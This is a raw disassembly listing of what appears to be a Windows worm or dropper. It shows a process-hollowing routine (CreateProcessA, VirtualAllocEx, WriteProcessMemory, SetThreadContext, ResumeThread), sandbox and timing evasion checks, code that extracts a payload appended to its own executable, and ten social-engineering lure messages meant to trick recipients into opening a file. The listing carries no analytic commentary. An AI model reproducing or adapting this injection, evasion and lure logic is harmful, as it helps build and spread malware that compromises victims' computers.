1D0C1704h, 1413h, 0FFFFFFFFh ; DATA XREF: sub_400173FC+1ADo dd 0Ch dword_40017818 dd 140E0121h, 1B001723h, 8140400h, 0 dd 0FFFFFFFFh, 0Ch dword_40017830 dd 1B0C0121h, 1B001723h, 8140400h, 0 dd 0FFFFFFFFh, 0Bh dword_40017848 dd 0A0B1F2Ah, 110183Ch, 0F0715h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_400173FC+207o dword_4001785C dd 150A1C2Bh, 1B001723h, 8140400h, 0 dd 0FFFFFFFFh, 12h dword_40017874 dd 21C0624h, 150B2812h, 0E1918h, 181B1039h, 0Ah, 0FFFFFFFFh ; DATA XREF: sub_400173FC+243o dd 0Eh dword_40017890 dd 6031939h, 37191506h, 0C16141Bh, 1000935h, 0FFFFFFFFh ; DATA XREF: sub_400173FC+261o dd 12h dword_400178A8 dd 3B011134h, 160C1C18h, 1F143A1Eh, 1A173B11h, 381Dh ; DATA XREF: sub_400173FC+27Fo ; =============== S U B R O U T I N E ======================================= sub_400178BC proc near ; CODE XREF: sub_400178DC+53p ; sub_40017A1C+F3p ... push ebx mov ebx, edx mov ecx, eax mov eax, ecx xor edx, edx div ebx test edx, edx jnz short loc_400178CF mov eax, ecx pop ebx retn ; --------------------------------------------------------------------------- loc_400178CF: ; CODE XREF: sub_400178BC+Dj mov eax, ecx xor edx, edx div ebx inc eax imul ebx pop ebx retn sub_400178BC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400178DC proc near ; CODE XREF: sub_40017A1C+7Bp var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov ecx, [eax+3Ch] add ecx, eax mov ebp, [ecx+38h] mov ebx, [ecx+54h] mov eax, ebx xor edx, edx div ebp test edx, edx jnz short loc_400178FB mov [esp+14h+var_14], ebx jmp short loc_40017907 ; --------------------------------------------------------------------------- loc_400178FB: ; CODE XREF: sub_400178DC+18j mov eax, ebx xor edx, edx div ebp inc eax add eax, ebp mov [esp+14h+var_14], eax loc_40017907: ; CODE XREF: sub_400178DC+1Dj lea edi, [ecx+18h] movzx eax, word ptr [ecx+14h] add edi, eax movzx esi, word ptr [ecx+6] dec esi test esi, esi jb short loc_4001793B inc esi xor ebx, ebx loc_4001791C: ; CODE XREF: sub_400178DC+5Dj lea eax, [ebx+ebx*4] cmp dword ptr [edi+eax*8+8], 0 jz short loc_40017937 lea eax, [ebx+ebx*4] mov eax, [edi+eax*8+8] mov edx, ebp call sub_400178BC add [esp+14h+var_14], eax loc_40017937: ; CODE XREF: sub_400178DC+48j inc ebx dec esi jnz short loc_4001791C loc_4001793B: ; CODE XREF: sub_400178DC+3Bj mov eax, [esp+14h+var_14] pop edx pop ebp pop edi pop esi pop ebx retn sub_400178DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40017944 proc near ; CODE XREF: sub_40017A1C+3Cp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi xor eax, eax mov [ebp+var_8], eax xor eax, eax push ebp push offset loc_400179AF push dword ptr fs:[eax] mov fs:[eax], esp xor ebx, ebx mov eax, 40h call sub_40002C20 mov esi, eax mov [ebp+var_4], 40h lea eax, [ebp+var_4] push eax push esi call sub_400064B8 ; GetUserNameA lea eax, [ebp+var_8] mov edx, esi call sub_40004A7C mov eax, [ebp+var_8] mov edx, offset aCurrentuser ; "CurrentUser" call sub_40004C94 jnz short loc_40017999 mov bl, 1 loc_40017999: ; CODE XREF: sub_40017944+51j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400179B6 loc_400179A6: ; CODE XREF: sub_40017944+70j lea eax, [ebp+var_8] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_400179AF: ; DATA XREF: sub_40017944+10o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_400179A6 ; --------------------------------------------------------------------------- loc_400179B6: ; CODE XREF: sub_40017944+6Aj ; DATA XREF: sub_40017944+5Do mov eax, ebx pop esi pop ebx pop ecx pop ecx pop ebp retn sub_40017944 endp ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 0Bh aCurrentuser db 'CurrentUser',0 ; DATA XREF: sub_40017944+47o ; =============== S U B R O U T I N E ======================================= sub_400179D4 proc near ; CODE XREF: sub_40017A1C+41p ; sub_40017A1C:loc_40017C5Bp ... push ebx push esi push edi xor ebx, ebx call sub_400065D0 ; GetTickCount mov edi, eax push 1F4h call sub_40006640 ; Sleep call sub_400065D0 ; GetTickCount mov esi, eax push 1F4h call sub_40006640 ; Sleep call sub_400065D0 ; GetTickCount sub esi, edi cmp esi, 1F4h jge short loc_40017A15 sub eax, edi cmp eax, 3E8h jge short loc_40017A15 mov bl, 1 loc_40017A15: ; CODE XREF: sub_400179D4+34j ; sub_400179D4+3Dj mov eax, ebx pop edi pop esi pop ebx retn sub_400179D4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40017A1C proc near ; CODE XREF: .itext:40019849p var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_1A4 = dword ptr -1A4h var_198 = dword ptr -198h var_179 = byte ptr -179h var_74 = byte ptr -74h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFDACh push ebx push esi push edi xor ecx, ecx mov [ebp+var_254], ecx mov [ebp+var_24C], ecx mov [ebp+var_250], ecx mov [ebp+var_4], edx mov [ebp+var_8], eax mov eax, [ebp+var_4] call sub_40004D38 xor eax, eax push ebp push offset loc_40017D6A push dword ptr fs:[eax] mov fs:[eax], esp call sub_40017944 call sub_400179D4 lea eax, [ebp+var_179] xor ecx, ecx mov edx, 104h call sub_40003580 push 104h lea eax, [ebp+var_179] push eax push 0 call ds:dword_4001F3AC ; GetModuleFileNameA mov eax, [ebp+var_8] mov eax, [eax+3Ch] add eax, [ebp+var_8] mov [ebp+var_10], eax mov eax, [ebp+var_8] call sub_400178DC mov [ebp+var_20], eax mov eax, [ebp+var_20] call sub_40002C20 mov [ebp+var_14], eax xor edx, edx push ebp push offset loc_40017D3D push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_14] mov [ebp+var_C], eax mov eax, [ebp+var_10] mov eax, [eax+54h] mov edx, [ebp+var_10] lea esi, [edx+18h] mov edx, [ebp+var_10] movzx edx, word ptr [edx+14h] add esi, edx mov edx, [ebp+var_10] movzx edi, word ptr [edx+6] dec edi test edi, edi jb short loc_40017AF6 inc edi xor ebx, ebx loc_40017AE2: ; CODE XREF: sub_40017A1C+D8j lea edx, [ebx+ebx*4] cmp eax, [esi+edx*8+14h] jbe short loc_40017AF2 lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+14h] loc_40017AF2: ; CODE XREF: sub_40017A1C+CDj inc ebx dec edi jnz short loc_40017AE2 loc_40017AF6: ; CODE XREF: sub_40017A1C+C1j mov ecx, eax mov edx, [ebp+var_8] mov eax, [ebp+var_C] call sub_40006750 mov eax, [ebp+var_10] mov edx, [eax+38h] mov eax, [ebp+var_10] mov eax, [eax+54h] call sub_400178BC add eax, [ebp+var_C] mov [ebp+var_C], eax mov eax, [ebp+var_10] movzx edi, word ptr [eax+6] dec edi test edi, edi jb short loc_40017B98 inc edi xor ebx, ebx loc_40017B29: ; CODE XREF: sub_40017A1C+17Aj lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+10h] test eax, eax jbe short loc_40017B72 lea edx, [ebx+ebx*4] cmp eax, [esi+edx*8+8] jbe short loc_40017B44 lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+8] loc_40017B44: ; CODE XREF: sub_40017A1C+11Fj lea edx, [ebx+ebx*4] mov edx, [esi+edx*8+14h] add edx, [ebp+var_8] mov ecx, eax mov eax, [ebp+var_C] call sub_40006750 lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+8] mov edx, [ebp+var_10] mov edx, [edx+38h] call sub_400178BC add eax, [ebp+var_C] mov [ebp+var_C], eax jmp short loc_40017B94 ; --------------------------------------------------------------------------- loc_40017B72: ; CODE XREF: sub_40017A1C+116j lea eax, [ebx+ebx*4] cmp dword ptr [esi+eax*8+8], 0 jz short loc_40017B94 lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+8] mov edx, [ebp+var_10] mov edx, [edx+38h] call sub_400178BC add eax, [ebp+var_C] mov [ebp+var_C], eax loc_40017B94: ; CODE XREF: sub_40017A1C+154j ; sub_40017A1C+15Ej inc ebx dec edi jnz short loc_40017B29 loc_40017B98: ; CODE XREF: sub_40017A1C+108j lea eax, [ebp+var_74] xor ecx, ecx mov edx, 44h call sub_40003580 lea eax, [ebp+var_248] xor ecx, ecx mov edx, 0CCh call sub_40003580 cmp [ebp+var_4], 0 jz short loc_40017C1D lea eax, [ebp+var_30] push eax lea eax, [ebp+var_74] push eax push 0 push 0 push 4 push 0 push 0 push 0 lea eax, [ebp+var_250] lea edx, [ebp+var_179] mov ecx, 105h call sub_40004AF4 push [ebp+var_250] push offset dword_40017D80 push [ebp+var_4] lea eax, [ebp+var_24C] mov edx, 3 call sub_40004C08 mov eax, [ebp+var_24C] call sub_40004D48 push eax push 0 call ds:dword_4001F38C ; CreateProcessA jmp short loc_40017C5B ; --------------------------------------------------------------------------- loc_40017C1D: ; CODE XREF: sub_40017A1C+1A1j lea eax, [ebp+var_30] push eax lea eax, [ebp+var_74] push eax push 0 push 0 push 4 push 0 push 0 push 0 lea eax, [ebp+var_254] lea edx, [ebp+var_179] mov ecx, 105h call sub_40004AF4 mov eax, [ebp+var_254] call sub_40004D48 push eax push 0 call ds:dword_4001F38C ; CreateProcessA loc_40017C5B: ; CODE XREF: sub_40017A1C+1FFj call sub_400179D4 mov [ebp+var_248], 10007h lea eax, [ebp+var_248] push eax mov eax, [ebp+var_2C] push eax call ds:dword_4001F388 ; GetThreadContext lea eax, [ebp+var_1C] push eax push 4 lea eax, [ebp+var_18] push eax mov eax, [ebp+var_1A4] add eax, 8 push eax mov eax, [ebp+var_30] push eax call ds:dword_4001F384 ; ReadProcessMemory push 40h push 3000h mov eax, [ebp+var_20] push eax mov eax, [ebp+var_10] mov eax, [eax+34h] push eax mov eax, [ebp+var_30] push eax call ds:dword_4001F380 ; VirtualAllocEx lea eax, [ebp+var_1C] push eax mov eax, [ebp+var_20] push eax mov eax, [ebp+var_14] push eax mov eax, [ebp+var_10] mov eax, [eax+34h] push eax mov eax, [ebp+var_30] push eax call ds:dword_4001F3A8 ; WriteProcessMemory lea eax, [ebp+var_1C] push eax push 4 mov eax, [ebp+var_10] add eax, 34h push eax mov eax, [ebp+var_1A4] add eax, 8 push eax mov eax, [ebp+var_30] push eax call ds:dword_4001F3A8 ; WriteProcessMemory mov eax, [ebp+var_10] mov eax, [eax+34h] mov edx, [ebp+var_10] add eax, [edx+28h] mov [ebp+var_198], eax lea eax, [ebp+var_248] push eax mov eax, [ebp+var_2C] push eax call ds:dword_4001F37C ; SetThreadContext mov eax, [ebp+var_2C] push eax call ds:dword_4001F378 ; ResumeThread xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40017D44 loc_40017D2D: ; CODE XREF: sub_40017A1C+326j call sub_400179D4 mov eax, [ebp+var_14] push eax call sub_400062D8 pop ecx retn ; --------------------------------------------------------------------------- loc_40017D3D: ; DATA XREF: sub_40017A1C+91o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40017D2D ; --------------------------------------------------------------------------- loc_40017D44: ; CODE XREF: sub_40017A1C+320j ; DATA XREF: sub_40017A1C+30Co xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40017D71 loc_40017D51: ; CODE XREF: sub_40017A1C+353j lea eax, [ebp+var_254] mov edx, 3 call sub_400048A8 lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_40017D6A: ; DATA XREF: sub_40017A1C+31o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40017D51 ; --------------------------------------------------------------------------- loc_40017D71: ; CODE XREF: sub_40017A1C+34Dj ; DATA XREF: sub_40017A1C+330o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40017A1C endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 1 dword_40017D80 dd 20h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40017D84 proc near ; CODE XREF: .itext:400199CCp var_174 = byte ptr -174h var_164 = dword ptr -164h var_160 = dword ptr -160h var_14C = byte ptr -14Ch var_146 = word ptr -146h var_54 = byte ptr -54h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFE8Ch push ebx push esi push edi mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_40004D38 xor eax, eax push ebp push offset loc_40017F00 push dword ptr fs:[eax] mov fs:[eax], esp xor ebx, ebx push 0 push 0 push 3 push 0 push 1 push 80000000h mov eax, [ebp+var_4] call sub_40004D48 push eax call ds:dword_4001F3B4 ; CreateFileA mov esi, eax push 0 push 0 push 0 push esi call ds:dword_4001F3B8 ; SetFilePointer push 0 lea eax, [ebp+var_10] push eax push 40h lea eax, [ebp+var_54] push eax push esi call ds:dword_4001F3BC ; ReadFile cmp [ebp+var_10], 40h jnz loc_40017EE3 push 0 push 0 mov eax, [ebp+var_18] push eax push esi call ds:dword_4001F3B8 ; SetFilePointer push 0 lea eax, [ebp+var_10] push eax push 0F8h lea eax, [ebp+var_14C] push eax push esi call ds:dword_4001F3BC ; ReadFile cmp [ebp+var_10], 0F8h jnz loc_40017EDA push 1 push 0 movzx eax, [ebp+var_146] dec eax add eax, eax add eax, eax add eax, eax lea eax, [eax+eax*4] push eax push esi call ds:dword_4001F3B8 ; SetFilePointer push 0 lea eax, [ebp+var_10] push eax push 28h lea eax, [ebp+var_174] push eax push esi call ds:dword_4001F3BC ; ReadFile mov eax, [ebp+var_160] add eax, [ebp+var_164] mov [ebp+var_14], eax push 0 push esi call ds:dword_4001F3C0 ; GetFileSize mov edi, eax sub edi, [ebp+var_14] test edi, edi jbe short loc_40017ED1 push 0 push 0 mov eax, [ebp+var_14] push eax push esi call ds:dword_4001F3B8 ; SetFilePointer mov eax, edi call sub_40002C20 mov edx, [ebp+var_8] mov [edx], eax push 0 lea eax, [ebp+var_10] push eax push edi mov eax, [ebp+var_8] mov eax, [eax] push eax push esi call ds:dword_4001F3BC ; ReadFile cmp edi, [ebp+var_10] jnz short loc_40017EC8 mov bl, 1 mov eax, [ebp+var_C] mov [eax], edi push esi call ds:dword_4001F3C4 ; CloseHandle jmp short loc_40017EEA ; --------------------------------------------------------------------------- loc_40017EC8: ; CODE XREF: sub_40017D84+132j push esi call ds:dword_4001F3C4 ; CloseHandle jmp short loc_40017EEA ; --------------------------------------------------------------------------- loc_40017ED1: ; CODE XREF: sub_40017D84+FEj push esi call ds:dword_4001F3C4 ; CloseHandle jmp short loc_40017EEA ; --------------------------------------------------------------------------- loc_40017EDA: ; CODE XREF: sub_40017D84+A6j push esi call ds:dword_4001F3C4 ; CloseHandle jmp short loc_40017EEA ; --------------------------------------------------------------------------- loc_40017EE3: ; CODE XREF: sub_40017D84+71j push esi call ds:dword_4001F3C4 ; CloseHandle loc_40017EEA: ; CODE XREF: sub_40017D84+142j ; sub_40017D84+14Bj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40017F07 loc_40017EF7: ; CODE XREF: sub_40017D84+181j lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_40017F00: ; DATA XREF: sub_40017D84+20o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40017EF7 ; --------------------------------------------------------------------------- loc_40017F07: ; CODE XREF: sub_40017D84+17Bj ; DATA XREF: sub_40017D84+16Eo mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40017D84 endp ; =============== S U B R O U T I N E ======================================= sub_40017F10 proc near ; CODE XREF: .itext:4001941Ep push ebx mov ebx, eax call sub_40003058 mov eax, 9 call sub_40003080 mov ds:dword_4001F6E0, eax mov eax, ds:dword_4001F6E0 cmp eax, 9 ; switch 10 cases ja loc_40017FEE ; default jmp ds:off_40017F3C[eax*4] ; switch jump ; --------------------------------------------------------------------------- off_40017F3C dd offset loc_40017F64 ; DATA XREF: sub_40017F10+25r dd offset loc_40017F72 ; jump table for switch statement dd offset loc_40017F80 dd offset loc_40017F8E dd offset loc_40017F9C dd offset loc_40017FAA dd offset loc_40017FB8 dd offset loc_40017FC6 dd offset loc_40017FD4 dd offset loc_40017FE2 ; --------------------------------------------------------------------------- loc_40017F64: ; CODE XREF: sub_40017F10+25j ; DATA XREF: sub_40017F10:off_40017F3Co mov eax, ebx ; jumptable 40017F35 case 0 mov edx, offset aHahaLookAtThis ; "haha, look at this Wallpaper :D its gre"... call sub_400048D8 pop ebx retn ; --------------------------------------------------------------------------- loc_40017F72: ; CODE XREF: sub_40017F10+25j ; DATA XREF: sub_40017F10:off_40017F3Co mov eax, ebx ; jumptable 40017F35 case 1 mov edx, offset aLookAtThisNewG ; "Look at this new game... :D, Look at my"... call sub_400048D8 pop ebx retn ; --------------------------------------------------------------------------- loc_40017F80: ; CODE XREF: sub_40017F10+25j ; DATA XREF: sub_40017F10:off_40017F3Co mov eax, ebx ; jumptable 40017F35 case 2 mov edx, offset aLookiMyNewHair ; "Looki ^^, my new hair style what you th"... call sub_400048D8 pop ebx retn ; --------------------------------------------------------------------------- loc_40017F8E: ; CODE XREF: sub_40017F10+25j ; DATA XREF: sub_40017F10:off_40017F3Co mov eax, ebx ; jumptable 40017F35 case 3 mov edx, offset aWonnaSeeARealE ; "Wonna see a real evil pic? :D mwahaha B"... call sub_400048D8 pop ebx retn ; --------------------------------------------------------------------------- loc_40017F9C: ; CODE XREF: sub_40017F10+25j ; DATA XREF: sub_40017F10:off_40017F3Co mov eax, ebx ; jumptable 40017F35 case 4 mov edx, offset aNowThisIsWhatI ; "Now this is what i call Pure Ownage..." call sub_400048D8 pop ebx retn ; --------------------------------------------------------------------------- loc_40017FAA: ; CODE XREF: sub_40017F10+25j ; DATA XREF: sub_40017F10:off_40017F3Co mov eax, ebx ; jumptable 40017F35 case 5 mov edx, offset aIFinallyGotANe ; "I finally got a new car, what you think"... call sub_400048D8 pop ebx retn ; --------------------------------------------------------------------------- loc_40017FB8: ; CODE XREF: sub_40017F10+25j ; DATA XREF: sub_40017F10:off_40017F3Co mov eax, ebx ; jumptable 40017F35 case 6 mov edx, offset aOoooTellMeIfYo ; "oooo Tell me if you like my new compute"... call sub_400048D8 pop ebx retn ; --------------------------------------------------------------------------- loc_40017FC6: ; CODE XREF: sub_40017F10+25j ; DATA XREF: sub_40017F10:off_40017F3Co mov eax, ebx ; jumptable 40017F35 case 7 mov edx, offset aTellMeIfThisLo ; "Tell me if this looks coo, i made my ow"... call sub_400048D8 pop ebx retn ; --------------------------------------------------------------------------- loc_40017FD4: ; CODE XREF: sub_40017F10+25j ; DATA XREF: sub_40017F10:off_40017F3Co mov eax, ebx ; jumptable 40017F35 case 8 mov edx, offset aIWentToAPartyL ; "I went to a party last night, i got so "... call sub_400048D8 pop ebx retn ; --------------------------------------------------------------------------- loc_40017FE2: ; CODE XREF: sub_40017F10+25j ; DATA XREF: sub_40017F10:off_40017F3Co mov eax, ebx ; jumptable 40017F35 case 9 mov edx, offset aYouGotoSeeThis ; "You goto see this pic, its brilliant ^_"... call sub_400048D8 loc_40017FEE: ; CODE XREF: sub_40017F10+1Fj pop ebx ; default retn sub_40017F10 endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 29h aHahaLookAtThis db 'haha, look at this Wallpaper :D its great',0 ; DATA XREF: sub_40017F10+56o align 4 dd 0FFFFFFFFh, 38h aLookAtThisNewG db 'Look at this new game... :D, Look at my kills :P Ownage?',0 ; DATA XREF: sub_40017F10+64o align 4 dd 0FFFFFFFFh, 2Bh aLookiMyNewHair db 'Looki ^^, my new hair style what you think?',0 ; DATA XREF: sub_40017F10+72o dd 0FFFFFFFFh, 40h aWonnaSeeARealE db 'Wonna see a real evil pic? :D mwahaha Bin-Ladin in a Blender ^_^',0 ; DATA XREF: sub_40017F10+80o align 4 dd 0FFFFFFFFh, 26h aNowThisIsWhatI db 'Now this is what i call Pure Ownage...',0 ; DATA XREF: sub_40017F10+8Eo align 4 dd 0FFFFFFFFh, 28h aIFinallyGotANe db 'I finally got a new car, what you think?',0 ; DATA XREF: sub_40017F10+9Co align 4 dd 0FFFFFFFFh, 41h aOoooTellMeIfYo db 'oooo Tell me if you like my new computer :) taken me ages to make' ; DATA XREF: sub_40017F10+AAo db 0 align 4 dd 0FFFFFFFFh, 5Ch aTellMeIfThisLo db 'Tell me if this looks coo, i made my own Skin for Windows :), All' ; DATA XREF: sub_40017F10+B8o db ' blue and grey and stuff ^^',0 align 10h dd 0FFFFFFFFh, 70h aIWentToAPartyL db 'I went to a party last night, i got so wasted, hehe, here is a pi' ; DATA XREF: sub_40017F10+C6o db 'c of me trying to do that Cloth trick on tables',0 align 4 dd 0FFFFFFFFh, 28h aYouGotoSeeThis db 'You goto see this pic, its brilliant ^_^',0 ; DATA XREF: sub_40017F10+D4o align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400182B0 proc near ; DATA XREF: .text:400183E8o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40018301 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, offset dword_40023C68 call sub_40006204 mov eax, offset dword_40023C6C call sub_40006204 mov eax, offset dword_40023C70 call sub_40006204 mov eax, offset dword_40023C74 call sub_40006204 mov eax, offset dword_40023C78 call sub_40004884 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40018308 loc_40018300: ; CODE XREF: sub_400182B0+56j retn ; --------------------------------------------------------------------------- loc_40018301: ; DATA XREF: sub_400182B0+6o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40018300 ; --------------------------------------------------------------------------- loc_40018308: ; CODE XREF: sub_400182B0:loc_40018300j ; DATA XREF: sub_400182B0+4Bo pop ebp retn sub_400182B0 endp ; --------------------------------------------------------------------------- align 4 dword_4001830C dd 1Bh ; .bss:off_4001E7D0o dd offset dword_40018314 dword_40018314 dd 2 dup(0) dd offset loc_40019000 dd offset sub_40006350 dd 2 dup(0) dd offset loc_40019098 dd offset sub_40006758 dd 0Eh dup(0) dd offset sub_400190AC dd offset sub_4000CC50 dd offset loc_40019133+1 dd offset sub_4000D598 dd offset sub_40019144 dd offset sub_40012E54 dd 2 dup(0) dd offset loc_400191F0 dd offset sub_40012F38 dd offset sub_400191F8 dd offset sub_40013ED4 dd offset loc_4001928C dd offset sub_40013FA4 dd offset loc_40019294 dd offset sub_40014740 dd 2 dup(0) dd offset byte_4001929C dd offset sub_40015C34 dd 4 dup(0) dd offset loc_40019398 dd offset sub_40016AB0 dd 5 dup(0) dd offset sub_400182B0 _text ends ; --------------------------------------------------------------------------- ; Section 2. (virtual address 00019000) ; Virtual size : 00000BFC ( 3068.) ; Section size in file : 00000BFC ( 3068.) ; Offset to raw data for section: 00019000 ; Flags 60000020: Text Executable Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _itext segment para public 'CODE' use32 assume cs:_itext ;org 40019000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing loc_40019000: ; DATA XREF: .text:4001831Co sub ds:dword_4001C5B8, 1 jnb locret_40019094 call sub_400029FC mov byte_4001A00C, 2 mov ds:off_4001C014, offset sub_40001168 mov ds:off_4001C018, offset sub_40001178 mov ds:byte_4001C04E, 2 mov ds:off_4001C000, offset sub_40005694 call sub_40003B64 test al, al jz short loc_4001904C call sub_40003B94 loc_4001904C: ; CODE XREF: .itext:40019045j call sub_40003C58 mov ds:word_4001C054, 0D7B0h mov ds:word_4001C220, 0D7B0h mov ds:word_4001C3EC, 0D7B0h call sub_400011D0 ; GetCommandLineA mov ds:dword_4001C040, eax call sub_400012A0 mov ds:dword_4001C03C, eax call sub_40006348 ; GetACP mov ds:dword_4001C5BC, eax call sub_40001288 ; GetCurrentThreadId mov ds:dword_4001C034, eax locret_40019094: ; CODE XREF: .itext:40019007j retn ; --------------------------------------------------------------------------- align 4 loc_40019098: ; DATA XREF: .text:4001832Co sub ds:dword_4001E800, 1 jnb short locret_400190A8 xor eax, eax mov ds:dword_4001E804, eax locret_400190A8: ; CODE XREF: .itext:4001909Fj retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400190AC proc near ; DATA XREF: .text:4001836Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4001911E push dword ptr fs:[eax] mov fs:[eax], esp sub ds:dword_4001E918, 1 jnb short loc_40019110 mov eax, offset dword_4000C980 call sub_40004624 mov eax, offset dword_4000CA6C call sub_4000464C cmp ds:byte_4001E7F5, 0 jz short loc_400190F2 mov eax, offset off_4001A84C mov edx, offset loc_40019130 call sub_400048D8 loc_400190F2: ; CODE XREF: sub_400190AC+35j call sub_4000B72C mov eax, offset sub_4000C230 call sub_400060A4 call sub_4000B830 call sub_4000C4D8 call sub_4000BE64 loc_40019110: ; CODE XREF: sub_400190AC+18j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40019125 loc_4001911D: ; CODE XREF: sub_400190AC+77j retn ; --------------------------------------------------------------------------- loc_4001911E: ; DATA XREF: sub_400190AC+6o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4001911D ; --------------------------------------------------------------------------- loc_40019125: ; CODE XREF: sub_400190AC:loc_4001911Dj ; DATA XREF: sub_400190AC+6Co pop ebp retn sub_400190AC endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 ; --------------------------------------------------------------------------- loc_40019130: ; DATA XREF: sub_400190AC+3Co xor [eax+0], bh loc_40019133: ; DATA XREF: .text:40018374o add [ebx+1F2802Dh], al inc eax add [ebx+5], esi call sub_4000D28C retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40019144 proc near ; DATA XREF: .text:4001837Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_400191E5 push dword ptr fs:[eax] mov fs:[eax], esp sub ds:dword_4001F2A4, 1 jnb short loc_400191D7 mov eax, offset dword_4001F284 call sub_40012AC4 mov eax, offset sub_4000E0EC mov ds:off_4001F294, eax mov eax, offset sub_4000DC90 mov ds:off_4001F298, eax mov edx, offset sub_4000DBA0 mov ds:off_4001F29C, edx mov ds:off_4001F2A0, eax mov eax, offset sub_4000E3EC mov edx, off_4001AFD0 mov [edx], eax mov eax, offset sub_400127B8 mov edx, off_4001AEE4 mov [edx], eax mov eax, offset sub_4000E700 mov edx, off_4001B018 mov [edx], eax mov eax, offset sub_400116DC mov edx, off_4001B0B4 mov [edx], eax mov eax, offset sub_40011DFC mov edx, off_4001B024 mov [edx], eax push offset dword_4001F2AC call sub_400065E0 ; InitializeCriticalSection loc_400191D7: ; CODE XREF: sub_40019144+18j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400191EC loc_400191E4: ; CODE XREF: sub_40019144+A6j retn ; --------------------------------------------------------------------------- loc_400191E5: ; DATA XREF: sub_40019144+6o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_400191E4 ; --------------------------------------------------------------------------- loc_400191EC: ; CODE XREF: sub_40019144:loc_400191E4j ; DATA XREF: sub_40019144+9Bo pop ebp retn sub_40019144 endp ; --------------------------------------------------------------------------- align 10h loc_400191F0: ; DATA XREF: .text:4001838Co sub ds:dword_4001F2C4, 1 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400191F8 proc near ; DATA XREF: .text:40018394o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40019281 push dword ptr fs:[eax] mov fs:[eax], esp sub ds:dword_4001F2D0, 1 jnb short loc_40019273 call sub_40013E14 mov eax, offset sub_40013ECC call sub_40006094 mov dl, 1 mov eax, ds:off_40007908 call sub_4000C69C mov edx, eax test edx, edx jz short loc_40019236 sub edx, 0FFFFFFD4h loc_40019236: ; CODE XREF: sub_400191F8+39j mov eax, offset dword_4001F2C8 call sub_4000621C mov dl, 1 mov eax, ds:off_40013214 call sub_400133D4 mov ds:dword_4001F2D8, eax mov dl, 1 mov eax, ds:off_400130A4 call sub_4001394C mov ds:dword_4001F2D4, eax mov dl, 1 mov eax, ds:off_400130A4 call sub_4001394C mov ds:dword_4001F2E0, eax loc_40019273: ; CODE XREF: sub_400191F8+18j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40019288 loc_40019280: ; CODE XREF: sub_400191F8+8Ej retn ; --------------------------------------------------------------------------- loc_40019281: ; DATA XREF: sub_400191F8+6o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40019280 ; --------------------------------------------------------------------------- loc_40019288: ; CODE XREF: sub_400191F8:loc_40019280j ; DATA XREF: sub_400191F8+83o pop ebp retn sub_400191F8 endp ; --------------------------------------------------------------------------- align 4 loc_4001928C: ; DATA XREF: .text:4001839Co sub ds:dword_4001F2FC, 1 retn ; 